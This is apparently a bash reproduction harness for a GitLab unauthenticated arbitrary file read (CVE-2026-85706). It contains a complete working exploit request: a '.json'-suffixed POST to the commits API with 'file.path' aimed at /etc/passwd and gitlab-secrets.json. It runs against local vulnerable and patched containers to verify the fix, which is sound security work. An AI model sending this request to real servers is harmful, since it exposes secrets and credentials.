#!/bin/bash
# CVE-2026-85706 - GitLab CE/EE unauthenticated arbitrary file read via
# Repository Commits REST API (Workhorse route-matching bypass via .json suffix).
#
# Mechanism (validated against public GitLab source tags v19.3.1 -> v19.3.2):
#   * Vulnerable 19.3.1: lib/api/commits.rb `post ':id/repository/commits'` calls
#     require_gitlab_workhorse! but NOT authenticate!. lib/api/helpers/
#     commits_body_uploader_helper.rb#file_params_from_body_upload reads the raw
#     request param 'file.path' and does File.exist?(file_path) followed by
#     File.read(file_path). With a param Content-Type=application/x-www-form-urlencoded,
#     the file content is parsed with Rack::Utils.parse_nested_query and, when the
#     content contains an invalid %-escape (e.g. '%zz'), Rack::QueryParser::
#     InvalidParameterError message - which embeds the file content - is echoed back
#     in the Grape bad_request! response. Files without a parse-triggering byte are
#     still distinguishable via an existence oracle ('local file not present' vs
#     downstream auth failure).
#   * GitLab Workhorse classifies the commits body-upload accelerator route with an
#     anchored regex on the *clean* URI path; appending a '.json' format suffix
#     defeats classification, so Workhorse proxies the raw request to Rails.
#   * Fixed 19.3.2: authenticate! added to the endpoint and the authorize helper;
#     file path/size now sourced only from middleware-finalized UploadedFile.
#
# Proof plan (real product, real HTTP boundary, no sanitizers):
#   vuln (gitlab/gitlab-ce:19.3.1-ce.0):
#     attempt1: canary-with-% read (content echo), /etc/passwd existence oracle,
#              /etc/gitlab/gitlab-secrets.json sensitive-file oracle,
#              missing-file control, no-.json-suffix control (expect 401)
#     attempt2 (fresh processes after `docker restart`): fresh canary read + controls
#   fixed (gitlab/gitlab-ce:19.3.2-ce.0): attempt1 + attempt2 same attack -> expect 401
#
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$REPRO_DIR/artifacts/http"
mkdir -p "$LOGS" "$ART"
MAIN_LOG="$LOGS/reproduction_steps.log"

VULN_IMAGE="gitlab/gitlab-ce:19.3.1-ce.0"
FIXED_IMAGE="gitlab/gitlab-ce:19.3.2-ce.0"
VULN_PORT=8201
FIXED_PORT=8202
VULN_NAME=g85706-vuln
FIXED_NAME=g85706-fixed
BOOT_TIMEOUT=900
RESULT="not_run"
CONFIRMED=false

log(){ echo "[$(date -u +%H:%M:%S)] $*" | tee -a "$MAIN_LOG" >&2; }
: > "$MAIN_LOG"   # truncate per-run diagnostic log

write_manifest(){
  python3 - "$REPRO_DIR" "$RESULT" "$CONFIRMED" "$ART" <<'PYEOF'
import json, sys, os, hashlib
repro, result, confirmed, art = sys.argv[1], sys.argv[2], (sys.argv[3]=="true"), sys.argv[4]
def sha(p):
    h=hashlib.sha256()
    with open(p,'rb') as f: h.update(f.read())
    return h.hexdigest()
artifacts=[
 "repro/artifacts/http/vuln_attempt1_canary_response.txt",
 "repro/artifacts/http/vuln_attempt1_passwd_response.txt",
 "repro/artifacts/http/vuln_attempt1_secrets_response.txt",
 "repro/artifacts/http/vuln_attempt1_missingfile_response.txt",
 "repro/artifacts/http/vuln_attempt1_nosuffix_response.txt",
 "repro/artifacts/http/vuln_attempt2_canary_response.txt",
 "repro/artifacts/http/vuln_attempt2_missingfile_response.txt",
 "repro/artifacts/http/vuln_attempt2_nosuffix_response.txt",
 "repro/artifacts/http/fixed_attempt1_canary_response.txt",
 "repro/artifacts/http/fixed_attempt2_canary_response.txt",
 "repro/artifacts/http/target_binding_vuln.txt",
 "repro/artifacts/http/target_binding_fixed.txt",
]
present=[a for a in artifacts if os.path.exists(os.path.join(repro,"..",a))]
digests={a:sha(os.path.join(repro,"..",a)) for a in present}
def img(var,fallback):
    v=os.environ.get(var) or fallback
    return v
man={
 "entrypoint_kind":"endpoint",
 "entrypoint_detail":"POST http://127.0.0.1:<port>/api/v4/projects/<id>/repository/commits.json (GitLab omnibus nginx->workhorse->puma, real HTTP boundary)",
 "service_started": result!="not_run",
 "healthcheck_passed": result in ("confirmed","fixed_verified","attacked"),
 "target_path_reached": result in ("confirmed","attacked"),
 "runtime_stack":["docker:gitlab/gitlab-ce omnibus (nginx, gitlab-workhorse, puma/Rails, gitaly, postgresql, redis)"],
 "target_identity":{
   "repository_url":"https://gitlab.com/gitlab-org/gitlab",
   "target_digest": img("VULN_DIGEST",""),
   "runtime_digest": img("VULN_RUNTIME_DIGEST",""),
   "platform":"linux",
   "architecture":"x86_64"
 },
 "proof_artifacts":present,
 "artifact_sha256":digests,
 "notes":"vulnerable="+img("VULN_DIGEST","")+" fixed="+img("FIXED_DIGEST","")+" result="+result
}
with open(os.path.join(repro,"runtime_manifest.json"),"w") as f:
    json.dump(man,f,indent=2)
PYEOF
}

fail(){ RESULT="failed:$1"; log "FAIL: $1"; write_manifest; exit 1; }

# ---------------------------------------------------------------- preflight
log "=== CVE-2026-85706 reproduction start ==="
# Project cache context (informational; this target is deployed from official
# Docker images, not a repo checkout - no reusable repo cache applies).
if [ -f "$ROOT/project_cache_context.json" ]; then
  log "project_cache_context: $(jq -c '{prepared, resolved_cache_mode, project_cache_dir}' "$ROOT/project_cache_context.json" 2>/dev/null || echo unreadable)"
fi

DOCKER="docker"
if ! $DOCKER ps >/dev/null 2>&1; then DOCKER="sudo docker"; fi
$DOCKER ps >/dev/null 2>&1 || fail "docker daemon unavailable"

log "pulling images (idempotent)..."
$DOCKER pull "$VULN_IMAGE" >/dev/null 2>&1 || fail "pull $VULN_IMAGE"
$DOCKER pull "$FIXED_IMAGE" >/dev/null 2>&1 || fail "pull $FIXED_IMAGE"
VULN_DIGEST="$($DOCKER inspect --format '{{index .RepoDigests 0}}' "$VULN_IMAGE" | awk -F'@' '{print $2}')"
FIXED_DIGEST="$($DOCKER inspect --format '{{index .RepoDigests 0}}' "$FIXED_IMAGE" | awk -F'@' '{print $2}')"
export VULN_DIGEST FIXED_DIGEST
log "vulnerable image digest: $VULN_DIGEST"
log "fixed image digest:      $FIXED_DIGEST"
[ -n "$VULN_DIGEST" ] && [ -n "$FIXED_DIGEST" ] || fail "image digests unresolved"
# runtime digest == image digest (same immutable image)
export VULN_RUNTIME_DIGEST="$VULN_DIGEST"

cleanup(){ $DOCKER rm -f "$VULN_NAME" "$FIXED_NAME" >/dev/null 2>&1 || true; }
cleanup
trap 'cleanup' EXIT

# ---------------------------------------------------------------- helpers
wait_healthy(){
  local port="$1" name="$2" i=0
  while [ $i -lt $BOOT_TIMEOUT ]; do
    code=$(timeout 10 curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:${port}/users/sign_in" 2>/dev/null || echo 000)
    acode=$(timeout 10 curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:${port}/api/v4/version" 2>/dev/null || echo 000)
    if [ "$code" = "200" ] && [ "$acode" != "000" ] && [ "$acode" != "502" ]; then
      log "$name healthy (sign_in=$code api=$acode)"
      return 0
    fi
    sleep 10; i=$((i+10))
  done
  fail "$name not healthy within ${BOOT_TIMEOUT}s"
}

boot(){
  local image="$1" name="$2" port="$3" host="$4"
  log "booting $name from $image (port $port)..."
  $DOCKER run -d --name "$name" \
    --hostname "$host" --shm-size 256m \
    -e GITLAB_ROOT_PASSWORD='PruvaR00tPass85706!' \
    -e GITLAB_OMNIBUS_CONFIG="external_url 'http://${host}'; prometheus_monitoring['enable'] = false;" \
    -p "127.0.0.1:${port}:80" \
    "$image" >/dev/null || fail "docker run $name"
  wait_healthy "$port" "$name"
}

# Creates the demo project through the real Rails service (docker exec
# gitlab-rails runner); prints numeric project id on stdout.
create_project(){
  local name="$1"
  cat > /tmp/setup85706.rb <<'RUBY'
u = User.find_by(username: 'root')
abort('ROOT_MISSING') unless u
p = Project.find_by(name: 'demo85706')
if p.nil?
  p = ::Projects::CreateService.new(u, { name: 'demo85706', path: 'demo85706', visibility: 'public' }).execute
end
abort("PROJECT_FAILED") if p.nil? || p.id.nil?
puts "PROJECT_ID=#{p.id}"
RUBY
  $DOCKER cp /tmp/setup85706.rb "$name:/tmp/setup85706.rb" >/dev/null
  timeout 300 $DOCKER exec "$name" gitlab-rails runner /tmp/setup85706.rb 2>/tmp/runner_err.txt | tee -a "$MAIN_LOG" | grep -o 'PROJECT_ID=[0-9]*' | head -1 | cut -d= -f2 || true
}

plant_canary(){
  local name="$1" path="$2" token="$3"
  timeout 60 $DOCKER exec "$name" bash -lc "printf 'PRUVA85706_CANARY_${token}_PCTBYTE_%%zz_END' > '$path' && chmod 644 '$path'" \
    || fail "plant canary $path in $name"
}

# Sends the attacker request through the real HTTP boundary.
# $1 port  $2 project id  $3 suffix ('.json' or '')  $4 target path  $5 outfile  $6 tag
attack(){
  local port="$1" pid="$2" suffix="$3" target="$4" out="$5" tag="$6"
  local qs="file=&file.size=64&Content-Type=application%2Fx-www-form-urlencoded&file.path=${target}"
  local url="http://127.0.0.1:${port}/api/v4/projects/${pid}/repository/commits${suffix}?${qs}"
  {
    echo "# request: $url"
    echo "# method: POST (unauthenticated)"
    echo "# headers: Content-Type: application/x-www-form-urlencoded, empty body"
    echo "# tag: $tag"
    echo
  } > "$out"
  local code
  code=$(timeout 30 curl -sS -D /tmp/h85706.txt -o /tmp/b85706.txt -w '%{http_code}' \
        -X POST "$url" \
        -H 'Content-Type: application/x-www-form-urlencoded' --data '' 2>/dev/null || echo 000)
  { echo "HTTP_STATUS: $code"; cat /tmp/h85706.txt; echo; echo "--- BODY ---"; cat /tmp/b85706.txt; echo; } >> "$out"
  log "attack [$tag] target=${target} suffix='${suffix}' -> HTTP $code ($(wc -c < /tmp/b85706.txt) bytes body)"
  echo "$code"
}

target_binding(){
  local name="$1" out="$2"
  {
    echo "=== container $name: shipped commits_body_uploader_helper.rb ==="
    timeout 60 $DOCKER exec "$name" bash -lc \
      "cat /opt/gitlab/embedded/service/gitlab-rails/lib/api/helpers/commits_body_uploader_helper.rb" 2>&1
    echo "=== container $name: shipped lib/api/commits.rb (endpoint block) ==="
    timeout 60 $DOCKER exec "$name" bash -lc \
      "grep -n -A6 \"post ':id/repository/commits'\" /opt/gitlab/embedded/service/gitlab-rails/lib/api/commits.rb" 2>&1
    echo "=== container $name: VERSION ==="
    timeout 60 $DOCKER exec "$name" bash -lc "cat /opt/gitlab/embedded/service/gitlab-rails/VERSION" 2>&1
  } > "$out"
}

# ================================================================ VULNERABLE
boot "$VULN_IMAGE" "$VULN_NAME" "$VULN_PORT" "gitlab85706v.example.com"
target_binding "$VULN_NAME" "$ART/target_binding_vuln.txt"
log "target binding (vuln) captured: $(grep -c "file.path" "$ART/target_binding_vuln.txt") refs to raw file.path; authenticate refs: $(grep -c authenticate "$ART/target_binding_vuln.txt")"
grep -q "params\['file.path'\]" "$ART/target_binding_vuln.txt" || fail "vulnerable image does not ship the vulnerable helper (target binding)"

PID_V="$(create_project "$VULN_NAME")"
[ -n "$PID_V" ] && [ "$PID_V" != "0" ] || fail "could not create/retrieve demo project in $VULN_NAME"
log "vulnerable demo project id: $PID_V"

# --- vulnerable attempt 1 (fresh boot processes)
A1_TOKEN="TOKENA1_9f31c0ffee"
plant_canary "$VULN_NAME" "/tmp/canary_85706_a1.txt" "$A1_TOKEN"
C_A1="$(attack "$VULN_PORT" "$PID_V" ".json" "/tmp/canary_85706_a1.txt" "$ART/vuln_attempt1_canary_response.txt" vuln_a1_canary)"
C_PW="$(attack  "$VULN_PORT" "$PID_V" ".json" "/etc/passwd" "$ART/vuln_attempt1_passwd_response.txt" vuln_a1_passwd)"
C_SEC="$(attack "$VULN_PORT" "$PID_V" ".json" "/etc/gitlab/gitlab-secrets.json" "$ART/vuln_attempt1_secrets_response.txt" vuln_a1_secrets)"
C_MISS="$(attack "$VULN_PORT" "$PID_V" ".json" "/var/opt/gitlab/definitely_missing_85706.txt" "$ART/vuln_attempt1_missingfile_response.txt" vuln_a1_missing)"
C_NOSUF="$(attack "$VULN_PORT" "$PID_V" "" "/tmp/canary_85706_a1.txt" "$ART/vuln_attempt1_nosuffix_response.txt" vuln_a1_nosuffix)"

# --- vulnerable attempt 2 (fresh processes via restart)
log "restarting $VULN_NAME for fresh-process attempt 2..."
timeout 120 $DOCKER restart "$VULN_NAME" >/dev/null || fail "restart $VULN_NAME"
wait_healthy "$VULN_PORT" "$VULN_NAME"
A2_TOKEN="TOKENA2_5eed2badcafe"
plant_canary "$VULN_NAME" "/tmp/canary_85706_a2.txt" "$A2_TOKEN"
C_A2="$(attack "$VULN_PORT" "$PID_V" ".json" "/tmp/canary_85706_a2.txt" "$ART/vuln_attempt2_canary_response.txt" vuln_a2_canary)"
C_MISS2="$(attack "$VULN_PORT" "$PID_V" ".json" "/var/opt/gitlab/definitely_missing_85706.txt" "$ART/vuln_attempt2_missingfile_response.txt" vuln_a2_missing)"
C_NOSUF2="$(attack "$VULN_PORT" "$PID_V" "" "/tmp/canary_85706_a2.txt" "$ART/vuln_attempt2_nosuffix_response.txt" vuln_a2_nosuffix)"

# --- vulnerable verdict checks
echo_v1="$(cat "$ART/vuln_attempt1_canary_response.txt")"
echo_v2="$(cat "$ART/vuln_attempt2_canary_response.txt")"
ok_a1=false; ok_a2=false
echo "$echo_v1" | grep -q "invalid %-encoding" && echo "$echo_v1" | grep -q "$A1_TOKEN" && ok_a1=true
echo "$echo_v2" | grep -q "invalid %-encoding" && echo "$echo_v2" | grep -q "$A2_TOKEN" && ok_a2=true
log "vuln attempt1 canary content echo: $ok_a1 ; attempt2: $ok_a2"
[ "$ok_a1" = true ] && [ "$ok_a2" = true ] || fail "canary content echo not observed on vulnerable build in both attempts"

ok_oracle=false
if grep -q "local file not present" "$ART/vuln_attempt1_missingfile_response.txt" && \
   ! grep -q "local file not present" "$ART/vuln_attempt1_passwd_response.txt"; then
  ok_oracle=true
fi
log "existence oracle (passwd vs missing file): $ok_oracle"
[ "$ok_oracle" = true ] || fail "existence oracle failed on vulnerable build"

ok_suffix=false
if [ "$C_NOSUF" = "401" ] && [ "$C_NOSUF2" = "401" ]; then ok_suffix=true; fi
log "no-suffix control returns 401 (Workhorse classifies route): $ok_suffix (a1=$C_NOSUF a2=$C_NOSUF2)"

log "secrets file response (sensitive existence oracle): $(grep -m1 'HTTP_STATUS' "$ART/vuln_attempt1_secrets_response.txt"); contains-not-present: $(grep -c 'local file not present' "$ART/vuln_attempt1_secrets_response.txt")"

RESULT="attacked"
log "vulnerable build fully exercised; stopping container..."
timeout 120 $DOCKER rm -f "$VULN_NAME" >/dev/null || true

# ================================================================ FIXED
boot "$FIXED_IMAGE" "$FIXED_NAME" "$FIXED_PORT" "gitlab85706f.example.com"
target_binding "$FIXED_NAME" "$ART/target_binding_fixed.txt"
grep -q "authenticate!" "$ART/target_binding_fixed.txt" || fail "fixed image target binding lacks authenticate! patch"

PID_F="$(create_project "$FIXED_NAME")"
[ -n "$PID_F" ] && [ "$PID_F" != "0" ] || fail "could not create demo project in $FIXED_NAME"
log "fixed demo project id: $PID_F"

F1_TOKEN="TOKENF1_0ddba11ca7e"
plant_canary "$FIXED_NAME" "/tmp/canary_85706_f1.txt" "$F1_TOKEN"
CF_A1="$(attack "$FIXED_PORT" "$PID_F" ".json" "/tmp/canary_85706_f1.txt" "$ART/fixed_attempt1_canary_response.txt" fixed_a1_canary)"

timeout 120 $DOCKER restart "$FIXED_NAME" >/dev/null || fail "restart $FIXED_NAME"
wait_healthy "$FIXED_PORT" "$FIXED_NAME"
F2_TOKEN="TOKENF2_1ce5c0ffee42"
plant_canary "$FIXED_NAME" "/tmp/canary_85706_f2.txt" "$F2_TOKEN"
CF_A2="$(attack "$FIXED_PORT" "$PID_F" ".json" "/tmp/canary_85706_f2.txt" "$ART/fixed_attempt2_canary_response.txt" fixed_a2_canary)"

ok_fixed=false
if [ "$CF_A1" = "401" ] && [ "$CF_A2" = "401" ] && \
   ! grep -q "invalid %-encoding" "$ART/fixed_attempt1_canary_response.txt" && \
   ! grep -q "invalid %-encoding" "$ART/fixed_attempt2_canary_response.txt"; then
  ok_fixed=true
fi
log "fixed build rejects .json attack with 401 in both attempts: $ok_fixed (f1=$CF_A1 f2=$CF_A2)"
[ "$ok_fixed" = true ] || fail "fixed build did not reject the attack (f1=$CF_A1 f2=$CF_A2)"

RESULT="confirmed"
CONFIRMED=true
write_manifest
log "=== CVE-2026-85706 CONFIRMED: unauthenticated arbitrary file read via .json-suffixed Repository Commits API ==="
log "vulnerable=${VULN_IMAGE}@${VULN_DIGEST} fixed=${FIXED_IMAGE}@${FIXED_DIGEST}"
exit 0
